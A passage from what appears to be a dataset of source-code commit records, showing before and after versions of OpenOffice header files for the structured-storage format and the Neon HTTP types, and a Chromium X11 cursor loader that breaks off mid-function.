<svx\/pfiledlg.hxx>\n#include <tools\/urlobj.hxx>\n#include <vcl\/msgbox.hxx>\n#include <svtools\/urihelper.hxx>\n#include <svtools\/moduleoptions.hxx>\n#include <svtools\/insdlg.hxx>\n#include <svtools\/soerr.hxx>\n#include <svx\/svxdlg.hxx>\n#include <sot\/clsids.hxx>\n#include <svx\/svdpagv.hxx>\n#include <svx\/svdpage.hxx>\n#include <svx\/svdundo.hxx>\n#include <svx\/svdmodel.hxx>\n\n#include <cppuhelper\/component_context.hxx>\n#include <comphelper\/processfactory.hxx>\n#include <comphelper\/storagehelper.hxx>\n#include <comphelper\/property.hxx>\n#include <comphelper\/types.hxx>\n#include <comphelper\/embeddedobjectcontainer.hxx>\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#include <com\/sun\/star\/frame\/XSynchronousFrameLoader.hpp>\n#include <com\/sun\/star\/frame\/XComponentLoader.hpp>\n#include <com\/sun\/star\/beans\/PropertyValue.hpp>\n#include <com\/sun\/star\/chart2\/data\/DatabaseDataProvider.hpp>\n#include <com\/sun\/star\/lang\/XInitialization.hpp>\n#include <com\/sun\/star\/frame\/XModel.hpp>\n#include <com\/sun\/star\/chart\/ChartDataRowSource.hpp>\n#include <com\/sun\/star\/chart2\/data\/XDataReceiver.hpp>\n\nusing namespace ::com::sun::star;\n\n#include \"InsertFunctions.hxx\"\n#include \"RptObject.hxx\"\n\nnamespace rptui\n{\n\/\/------------------------------------------------------------------------\n\/\/ -----------------------------------------------------------------------------\n} \/\/ namespace rptui\n\/\/ -----------------------------------------------------------------------------\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: stgelem.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: mba $ $Date: 2001-02-05 18:11:55 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\/\/ This file reflects the structure of MS file elements.\n\/\/ It is very sensitive to alignment!\n\n#ifndef _STGELEM_HXX\n#define _STGELEM_HXX\n\n#ifndef _TOOLS_SOLAR_H\n#include <tools\/solar.h>\n#endif\n\nclass StgIo;\nclass SvStream;\nclass String;\n\nSvStream& operator>>( SvStream&, ClsId& );\nSvStream& operator<<( SvStream&, const ClsId& );\n\nclass StgHeader\n{\n BYTE cSignature[ 8 ]; \/\/ 00 signature (see below)\n ClsId aClsId; \/\/ 08 Class ID\n INT32 nVersion; \/\/ 18 version number\n UINT16 nByteOrder; \/\/ 1C Unicode byte order indicator\n INT16 nPageSize; \/\/ 1E 1 << nPageSize = block size\n INT16 nDataPageSize; \/\/ 20 1 << this size == data block size\n BYTE bDirty; \/\/ 22 internal dirty flag\n BYTE cReserved[ 9 ]; \/\/ 23\n INT32 nFATSize; \/\/ 2C total number of FAT pages\n INT32 nTOCstrm; \/\/ 30 starting page for the TOC stream\n INT32 nReserved; \/\/ 34\n INT32 nThreshold; \/\/ 38 minimum file size for big data\n INT32 nDataFAT; \/\/ 3C page # of 1st data FAT block\n INT32 nDataFATSize; \/\/ 40 # of data fat blocks\n INT32 nMasterChain; \/\/ 44 chain to the next master block\n INT32 nMaster; \/\/ 48 # of additional master blocks\n INT32 nMasterFAT[ 109 ]; \/\/ 4C first 109 master FAT pages\npublic:\n StgHeader();\n void Init(); \/\/ initialize the header\n BOOL Load( StgIo& );\n BOOL Load( SvStream& );\n BOOL Store( StgIo& );\n BOOL Check(); \/\/ check the signature and version\n short GetByteOrder() const { return nByteOrder; }\n INT32 GetTOCStart() const { return nTOCstrm; }\n void SetTOCStart( INT32 n );\n INT32 GetDataFATStart() const { return nDataFAT; }\n void SetDataFATStart( INT32 n );\n INT32 GetDataFATSize() const { return nDataFATSize; }\n void SetDataFATSize( INT32 n );\n INT32 GetThreshold() const { return nThreshold; }\n short GetPageSize() const { return nPageSize; }\n short GetDataPageSize() const { return nDataPageSize; }\n INT32 GetFATSize() const { return nFATSize; }\n void SetFATSize( INT32 n );\n INT32 GetFATChain() const { return nMasterChain; }\n void SetFATChain( INT32 n );\n INT32 GetMasters() const { return nMaster; }\n void SetMasters( INT32 n );\n short GetFAT1Size() const { return 109; }\n const ClsId& GetClassId() const { return aClsId; }\n void SetClassId( const ClsId& );\n INT32 GetFATPage( short ) const;\n void SetFATPage( short, INT32 );\n};\n\nenum StgEntryType { \/\/ dir entry types:\n STG_EMPTY = 0,\n STG_STORAGE = 1,\n STG_STREAM = 2,\n STG_LOCKBYTES = 3,\n STG_PROPERTY = 4,\n STG_ROOT = 5\n};\n\nenum StgEntryRef { \/\/ reference blocks:\n STG_LEFT = 0, \/\/ left\n STG_RIGHT = 1, \/\/ right\n STG_CHILD = 2, \/\/ child\n STG_DATA = 3 \/\/ data start\n};\n\nenum StgEntryTime { \/\/ time codes:\n STG_MODIFIED = 0, \/\/ last modification\n STG_ACCESSED = 1 \/\/ last access\n};\n\nclass StgStream;\n\n#define STGENTRY_SIZE 128\n\nclass StgEntry { \/\/ directory enty\n UINT16 nName[ 32 ]; \/\/ 00 name as WCHAR\n INT16 nNameLen; \/\/ 40 size of name in bytes including 00H\n BYTE cType; \/\/ 42 entry type\n BYTE cFlags; \/\/ 43 0 or 1 (tree balance?)\n INT32 nLeft; \/\/ 44 left node entry\n INT32 nRight; \/\/ 48 right node entry\n INT32 nChild; \/\/ 4C 1st child entry if storage\n ClsId aClsId; \/\/ 50 class ID (optional)\n INT32 nFlags; \/\/ 60 state flags(?)\n INT32 nMtime[ 2 ]; \/\/ 64 modification time\n INT32 nAtime[ 2 ]; \/\/ 6C creation and access time\n INT32 nPage1; \/\/ 74 starting block (either direct or translated)\n INT32 nSize; \/\/ 78 file size\n INT32 nUnknown; \/\/ 7C unknown\n String aName; \/\/ Name as Compare String (ascii, upper)\npublic:\n BOOL Init(); \/\/ initialize the data\n BOOL SetName( const String& ); \/\/ store a name (ASCII, up to 32 chars)\n void GetName( String& rName ) const;\n \/\/ fill in the name\n short Compare( const StgEntry& ) const; \/\/ compare two entries\n BOOL Load( const void* );\n void Store( void* );\n StgEntryType GetType() const { return (StgEntryType) cType; }\n INT32 GetStartPage() const { return nPage1; }\n void SetType( StgEntryType t ) { cType = (BYTE) t; }\n BYTE GetFlags() const { return cFlags; }\n void SetFlags( BYTE c ) { cFlags = c; }\n INT32 GetSize() const { return nSize; }\n void SetSize( INT32 n ) { nSize = n; }\n const ClsId& GetClassId() const { return aClsId; }\n void SetClassId( const ClsId& );\n INT32 GetLeaf( StgEntryRef ) const;\n void SetLeaf( StgEntryRef, INT32 );\n const INT32* GetTime( StgEntryTime ) const;\n void SetTime( StgEntryTime, INT32* );\n};\n\n\n#define STG_FREE -1L \/\/ page is free\n#define STG_EOF -2L \/\/ page is last page in chain\n#define STG_FAT -3L \/\/ page is FAT page\n#define STG_MASTER -4L \/\/ page is master FAT page\n\n#endif\n<commit_msg>#65293# moved clsid<commit_after>\/*************************************************************************\n *\n * $RCSfile: stgelem.hxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: obo $ $Date: 2001-02-13 13:45:44 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\/\/ This file reflects the structure of MS file elements.\n\/\/ It is very sensitive to alignment!\n\n#ifndef _STGELEM_HXX\n#define _STGELEM_HXX\n\n#ifndef _TOOLS_SOLAR_H\n#include <tools\/solar.h>\n#endif\n\n#include <stg.hxx>\n\nclass StgIo;\nclass SvStream;\nclass String;\n\nSvStream& operator>>( SvStream&, ClsId& );\nSvStream& operator<<( SvStream&, const ClsId& );\n\nclass StgHeader\n{\n BYTE cSignature[ 8 ]; \/\/ 00 signature (see below)\n ClsId aClsId; \/\/ 08 Class ID\n INT32 nVersion; \/\/ 18 version number\n UINT16 nByteOrder; \/\/ 1C Unicode byte order indicator\n INT16 nPageSize; \/\/ 1E 1 << nPageSize = block size\n INT16 nDataPageSize; \/\/ 20 1 << this size == data block size\n BYTE bDirty; \/\/ 22 internal dirty flag\n BYTE cReserved[ 9 ]; \/\/ 23\n INT32 nFATSize; \/\/ 2C total number of FAT pages\n INT32 nTOCstrm; \/\/ 30 starting page for the TOC stream\n INT32 nReserved; \/\/ 34\n INT32 nThreshold; \/\/ 38 minimum file size for big data\n INT32 nDataFAT; \/\/ 3C page # of 1st data FAT block\n INT32 nDataFATSize; \/\/ 40 # of data fat blocks\n INT32 nMasterChain; \/\/ 44 chain to the next master block\n INT32 nMaster; \/\/ 48 # of additional master blocks\n INT32 nMasterFAT[ 109 ]; \/\/ 4C first 109 master FAT pages\npublic:\n StgHeader();\n void Init(); \/\/ initialize the header\n BOOL Load( StgIo& );\n BOOL Load( SvStream& );\n BOOL Store( StgIo& );\n BOOL Check(); \/\/ check the signature and version\n short GetByteOrder() const { return nByteOrder; }\n INT32 GetTOCStart() const { return nTOCstrm; }\n void SetTOCStart( INT32 n );\n INT32 GetDataFATStart() const { return nDataFAT; }\n void SetDataFATStart( INT32 n );\n INT32 GetDataFATSize() const { return nDataFATSize; }\n void SetDataFATSize( INT32 n );\n INT32 GetThreshold() const { return nThreshold; }\n short GetPageSize() const { return nPageSize; }\n short GetDataPageSize() const { return nDataPageSize; }\n INT32 GetFATSize() const { return nFATSize; }\n void SetFATSize( INT32 n );\n INT32 GetFATChain() const { return nMasterChain; }\n void SetFATChain( INT32 n );\n INT32 GetMasters() const { return nMaster; }\n void SetMasters( INT32 n );\n short GetFAT1Size() const { return 109; }\n const ClsId& GetClassId() const { return aClsId; }\n void SetClassId( const ClsId& );\n INT32 GetFATPage( short ) const;\n void SetFATPage( short, INT32 );\n};\n\nenum StgEntryType { \/\/ dir entry types:\n STG_EMPTY = 0,\n STG_STORAGE = 1,\n STG_STREAM = 2,\n STG_LOCKBYTES = 3,\n STG_PROPERTY = 4,\n STG_ROOT = 5\n};\n\nenum StgEntryRef { \/\/ reference blocks:\n STG_LEFT = 0, \/\/ left\n STG_RIGHT = 1, \/\/ right\n STG_CHILD = 2, \/\/ child\n STG_DATA = 3 \/\/ data start\n};\n\nenum StgEntryTime { \/\/ time codes:\n STG_MODIFIED = 0, \/\/ last modification\n STG_ACCESSED = 1 \/\/ last access\n};\n\nclass StgStream;\n\n#define STGENTRY_SIZE 128\n\nclass StgEntry { \/\/ directory enty\n UINT16 nName[ 32 ]; \/\/ 00 name as WCHAR\n INT16 nNameLen; \/\/ 40 size of name in bytes including 00H\n BYTE cType; \/\/ 42 entry type\n BYTE cFlags; \/\/ 43 0 or 1 (tree balance?)\n INT32 nLeft; \/\/ 44 left node entry\n INT32 nRight; \/\/ 48 right node entry\n INT32 nChild; \/\/ 4C 1st child entry if storage\n ClsId aClsId; \/\/ 50 class ID (optional)\n INT32 nFlags; \/\/ 60 state flags(?)\n INT32 nMtime[ 2 ]; \/\/ 64 modification time\n INT32 nAtime[ 2 ]; \/\/ 6C creation and access time\n INT32 nPage1; \/\/ 74 starting block (either direct or translated)\n INT32 nSize; \/\/ 78 file size\n INT32 nUnknown; \/\/ 7C unknown\n String aName; \/\/ Name as Compare String (ascii, upper)\npublic:\n BOOL Init(); \/\/ initialize the data\n BOOL SetName( const String& ); \/\/ store a name (ASCII, up to 32 chars)\n void GetName( String& rName ) const;\n \/\/ fill in the name\n short Compare( const StgEntry& ) const; \/\/ compare two entries\n BOOL Load( const void* );\n void Store( void* );\n StgEntryType GetType() const { return (StgEntryType) cType; }\n INT32 GetStartPage() const { return nPage1; }\n void SetType( StgEntryType t ) { cType = (BYTE) t; }\n BYTE GetFlags() const { return cFlags; }\n void SetFlags( BYTE c ) { cFlags = c; }\n INT32 GetSize() const { return nSize; }\n void SetSize( INT32 n ) { nSize = n; }\n const ClsId& GetClassId() const { return aClsId; }\n void SetClassId( const ClsId& );\n INT32 GetLeaf( StgEntryRef ) const;\n void SetLeaf( StgEntryRef, INT32 );\n const INT32* GetTime( StgEntryTime ) const;\n void SetTime( StgEntryTime, INT32* );\n};\n\n\n#define STG_FREE -1L \/\/ page is free\n#define STG_EOF -2L \/\/ page is last page in chain\n#define STG_FAT -3L \/\/ page is FAT page\n#define STG_MASTER -4L \/\/ page is master FAT page\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: NeonTypes.hxx,v $\n *\n * $Revision: 1.9 $\n *\n * last change: $Author: obo $ $Date: 2005-01-27 12:13:58 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _NEONTYPES_HXX_\n#define _NEONTYPES_HXX_\n\n#ifndef NE_SESSION_H\n#include <neon\/ne_session.h> \/\/ for ne_session\n#endif\n#ifndef NE_UTILS_H\n#include <neon\/ne_utils.h> \/\/ for ne_status\n#endif\n#ifndef NE_BASIC_H\n#include <neon\/ne_basic.h> \/\/ for ne_server_capabilities\n#endif\n#ifndef NE_PROPS_H\n#include <neon\/ne_props.h> \/\/ for ne_propname, ne_prop_result_set\n#endif\n\ntypedef ne_session HttpSession;\ntypedef ne_status HttpStatus;\ntypedef ne_server_capabilities HttpServerCapabilities;\n\ntypedef ne_propname NeonPropName;\ntypedef ne_prop_result_set NeonPropFindResultSet;\n\n#endif \/\/ _NEONTYPES_HXX_\n<commit_msg>INTEGRATION: CWS ooo19126 (1.9.34); FILE MERGED 2005\/09\/05 18:45:37 rt 1.9.34.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: NeonTypes.hxx,v $\n *\n * $Revision: 1.10 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 16:13:33 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _NEONTYPES_HXX_\n#define _NEONTYPES_HXX_\n\n#ifndef NE_SESSION_H\n#include <neon\/ne_session.h> \/\/ for ne_session\n#endif\n#ifndef NE_UTILS_H\n#include <neon\/ne_utils.h> \/\/ for ne_status\n#endif\n#ifndef NE_BASIC_H\n#include <neon\/ne_basic.h> \/\/ for ne_server_capabilities\n#endif\n#ifndef NE_PROPS_H\n#include <neon\/ne_props.h> \/\/ for ne_propname, ne_prop_result_set\n#endif\n\ntypedef ne_session HttpSession;\ntypedef ne_status HttpStatus;\ntypedef ne_server_capabilities HttpServerCapabilities;\n\ntypedef ne_propname NeonPropName;\ntypedef ne_prop_result_set NeonPropFindResultSet;\n\n#endif \/\/ _NEONTYPES_HXX_\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ui\/base\/cursor\/cursor_loader_x11.h\"\n\n#include <X11\/Xlib.h>\n#include <X11\/cursorfont.h>\n\n#include \"base\/logging.h\"\n#include \"grit\/ui_resources.h\"\n#include \"ui\/base\/cursor\/cursor.h\"\n#include \"ui\/base\/resource\/resource_bundle.h\"\n#include \"ui\/base\/x\/x11_util.h\"\n#include \"ui\/gfx\/image\/image.h\"\n#include \"ui\/gfx\/image\/image_skia.h\"\n\nnamespace {\n\n\/\/ Returns X font cursor shape from an Aura cursor.\nint CursorShapeFromNative(gfx::NativeCursor native_cursor) {\n switch (native_cursor.native_type()) {\n case ui::kCursorMiddlePanning:\n return XC_fleur;\n case ui::kCursorEastPanning:\n return XC_sb_right_arrow;\n case ui::kCursorNorthPanning:\n return XC_sb_up_arrow;\n case ui::kCursorNorthEastPanning:\n return XC_top_right_corner;\n case ui::kCursorNorthWestPanning:\n return XC_top_left_corner;\n case ui::kCursorSouthPanning:\n return XC_sb_down_arrow;\n case ui::kCursorSouthEastPanning:\n return XC_bottom_right_corner;\n case ui::kCursorSouthWestPanning:\n return XC_bottom_left_corner;\n case ui::kCursorWestPanning:\n return XC_sb_left_arrow;\n case ui::kCursorNone:\n case ui::kCursorGrab:\n case ui::kCursorGrabbing:\n \/\/ TODO(jamescook): Need cursors for these. crbug.com\/111650\n return XC_left_ptr;\n\n#if defined(OS_CHROMEOS)\n case ui::kCursorNull:\n case ui::kCursorPointer:\n case ui::kCursorNoDrop:\n case ui::kCursorNotAllowed:\n case ui::kCursorCopy:\n case ui::kCursorMove:\n case ui::kCursorEastResize:\n case ui::kCursorNorthResize:\n case ui::kCursorSouthResize:\n case ui::kCursorWestResize:\n case ui::kCursorNorthEastResize:\n case ui::kCursorNorthWestResize:\n case ui::kCursorSouthWestResize:\n case ui::kCursorSouthEastResize:\n case ui::kCursorIBeam:\n case ui::kCursorAlias:\n case ui::kCursorCell:\n case ui::kCursorContextMenu:\n case ui::kCursorCross:\n case ui::kCursorHelp:\n case ui::kCursorWait:\n case ui::kCursorNorthSouthResize:\n case ui::kCursorEastWestResize:\n case ui::kCursorNorthEastSouthWestResize:\n case ui::kCursorNorthWestSouthEastResize:\n case ui::kCursorProgress:\n case ui::kCursorColumnResize:\n case ui::kCursorRowResize:\n case ui::kCursorVerticalText:\n case ui::kCursorZoomIn:\n case ui::kCursorZoomOut:\n \/\/ In some environments, the image assets are not set (e.g. in\n \/\/ content-browsertests, content-shell etc.).\n return XC_left_ptr;\n#else \/\/ defined(OS_CHROMEOS)\n case ui::kCursorNull:\n return XC_left_ptr;\n case ui::kCursorPointer:\n return XC_left_ptr;\n case ui::kCursorMove:\n return XC_fleur;\n case ui::kCursorCross:\n return XC_crosshair;\n case ui::kCursorHand:\n return XC_hand2;\n case ui::kCursorIBeam:\n return XC_xterm;\n case ui::kCursorWait:\n return XC_watch;\n case ui::kCursorHelp:\n return XC_question_arrow;\n case ui::kCursorEastResize:\n return XC_right_side;\n case ui::kCursorNorthResize:\n return XC_top_side;\n case ui::kCursorNorthEastResize:\n return XC_top_right_corner;\n case ui::kCursorNorthWestResize:\n return XC_top_left_corner;\n case ui::kCursorSouthResize:\n return XC_bottom_side;\n case ui::kCursorSouthEastResize:\n return XC_bottom_right_corner;\n case ui::kCursorSouthWestResize:\n return XC_bottom_left_corner;\n case ui::kCursorWestResize:\n return XC_left_side;\n case ui::kCursorNorthSouthResize:\n return XC_sb_v_double_arrow;\n case ui::kCursorEastWestResize:\n return XC_sb_h_double_arrow;\n case ui::kCursorNorthEastSouthWestResize:\n case ui::kCursorNorthWestSouthEastResize:\n \/\/ There isn't really a useful cursor available for these.\n return XC_left_ptr;\n case ui::kCursorColumnResize:\n return XC_sb_h_double_arrow;\n case ui::kCursorRowResize:\n return XC_sb_v_double_arrow;\n#endif \/\/ defined(OS_CHROMEOS)\n case ui::kCursorCustom:\n NOTREACHED();\n return XC_left_ptr;\n }\n NOTREACHED() << \"Case not handled for \" << native_cursor.native_type();\n return XC_left_ptr;\n}\n\n} \/\/ namespace\n\nnamespace ui {\n\nCursorLoader* CursorLoader::Create() {\n return new CursorLoaderX11;\n}\n\nCursorLoaderX11::CursorLoaderX11()\n : invisible_cursor_(CreateInvisibleCursor(), GetXDisplay()) {\n}\n\nCursorLoaderX11::~CursorLoaderX11() {\n UnloadAll();\n \/\/ Clears XCursorCache.\n GetXCursor(kCursorClearXCursorCache);\n}\n\nvoid CursorLoaderX11::LoadImageCursor(int id,\n int resource_id,\n const gfx::Point& hot) {\n const gfx::ImageSkia* image =\n ResourceBundle::GetSharedInstance().GetImageSkiaNamed(resource_id);\n const gfx::ImageSkiaRep& image_rep = image->GetRepresentation(\n GetScaleFactorFromScale(device_scale_factor()));\n XcursorImage* x_image =\n SkBitmapToXcursorImage(&image_rep.sk_bitmap(), hot);\n cursors_[id] = CreateReffedCustomXCursor(x_image);\n \/\/ |image_rep| is owned by the resource bundle. So we do not need to free it.\n}\n\nvoid CursorLoaderX11::LoadAnimatedCursor(int id,\n int resource_id,\n const gfx::Point& hot,\n int frame_delay_ms) {\n const gfx::ImageSkia* image =\n ResourceBundle::GetSharedInstance().GetImageSkiaNamed(resource_id);\n const gfx::ImageSkiaRep& image_rep = image->GetRepresentation(\n GetScaleFactorFromScale(device_scale_factor()));\n const SkBitmap bitmap = image_rep.sk_bitmap();\n DCHECK_EQ(bitmap.config(), SkBitmap::kARGB_8888_Config);\n int frame_width = bitmap.height();\n int frame_height = frame_width;\n int total_width = bitmap.width();\n DCHECK_EQ(total_width % frame_width, 0);\n int frame_count = total_width \/ frame_width;\n DCHECK_GT(frame_count, 0);\n XcursorImages* x_images = XcursorImagesCreate(frame_count);\n x_images->nimage = frame_count;\n bitmap.lockPixels();\n unsigned int* pixels = bitmap.getAddr32(0, 0);\n \/\/ Create each frame.\n for (int frame = 0; frame < frame_count; ++frame) {\n XcursorImage* x_image = XcursorImageCreate(frame_width, frame_height);\n for (int row = 0; row < frame_height; ++row) {\n \/\/ Copy |row|'th row of |frame|'th frame.\n memcpy(x_image->pixels + row * frame_width,\n pixels + frame * frame_width + row * total_width,\n frame_width * 4);\n }\n x_image->xhot = hot.x();\n x_image->yhot = hot.y();\n x_image->delay = frame_delay_ms;\n x_images->images[frame] = x_image;\n }\n bitmap.unlockPixels();\n\n animated_cursors_[id] = std::make_pair(\n XcursorImagesLoadCursor(GetXDisplay(), x_images), x_images);\n \/\/ |bitmap| is owned by the resource bundle. So we do not need to free it.\n}\n\nvoid CursorLoaderX11::UnloadAll() {\n for (ImageCursorMap::const_iterator it = cursors_.begin();\n it != cursors_.end(); ++it)\n UnrefCustomXCursor(it->second);\n\n \/\/ Free animated cursors and images.\n for (AnimatedCursorMap::iterator it = animated_cursors_.begin();\n it != animated_cursors_.end(); ++it) {\n XcursorImagesDestroy(it->second.second); \/\/ also frees individual frames.\n XFreeCursor(GetXDisplay(), it->second.first);\n }\n}\n\nvoid CursorLoaderX11::SetPlatformCursor(gfx::NativeCursor* cursor) {\n DCHECK(cursor);\n\n ::Cursor xcursor;\n if (IsImageCursor(*cursor))\n xcursor = ImageCursorFromNative(*cursor);\n else if (*cursor == kCursorNone)\n xcursor = invisible_cursor_.get();\n else if (*cursor == kCursorCustom)\n xcursor = cursor->platform();\n else if (device_scale_factor() == 1.0f)\n xcursor = GetXCursor(CursorShapeFromNative(*cursor));\n else\n xcursor = ImageCursorFromNative(kCursorPointer);\n\n cursor->SetPlatformCursor(xcursor);\n}\n\nbool CursorLoaderX11::IsImageCursor(gfx::NativeCursor native_cursor) {\n int type = native_cursor.native_type();\n return cursors_.count(type) || animated_cursors_.count(type);\n}\n\n::Cursor CursorLoaderX11::ImageCursorFromNative(\n gfx::NativeCursor native_cursor) {\n int type = native_cursor.native_type();\n if (animated_cursors_.count(type))\n return animated_cursors_[type].first;\n\n ImageCursorMap::iterator find = cursors_.find(type);\n if (find != cursors_.end())\n return cursors_[type];\n return GetXCursor(CursorShapeFromNative(native_cursor));\n}\n\n} \/\/ namespace ui\n<commit_msg>Fixing crash with Chrome upon cursor access<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ui\/base\/cursor\/cursor_loader_x11.h\"\n\n#include <X11\/Xlib.h>\n#include <X11\/cursorfont.h>\n\n#include \"base\/logging.h\"\n#include \"grit\/ui_resources.h\"\n#include \"ui\/base\/cursor\/cursor.h\"\n#include \"ui\/base\/resource\/resource_bundle.h\"\n#include \"ui\/base\/x\/x11_util.h\"\n#include \"ui\/gfx\/image\/image.h\"\n#include \"ui\/gfx\/image\/image_skia.h\"\n\nnamespace {\n\n\/\/ Returns X font cursor shape from an Aura cursor.\nint CursorShapeFromNative(gfx::NativeCursor native_cursor) {\n switch (native_cursor.native_type()) {\n case ui::kCursorMiddlePanning:\n return XC_fleur;\n case ui::kCursorEastPanning:\n return XC_sb_right_arrow;\n case ui::kCursorNorthPanning:\n return XC_sb_up_arrow;\n case ui::kCursorNorthEastPanning:\n return XC_top_right_corner;\n case ui::kCursorNorthWestPanning:\n return XC_top_left_corner;\n case ui::kCursorSouthPanning:\n return 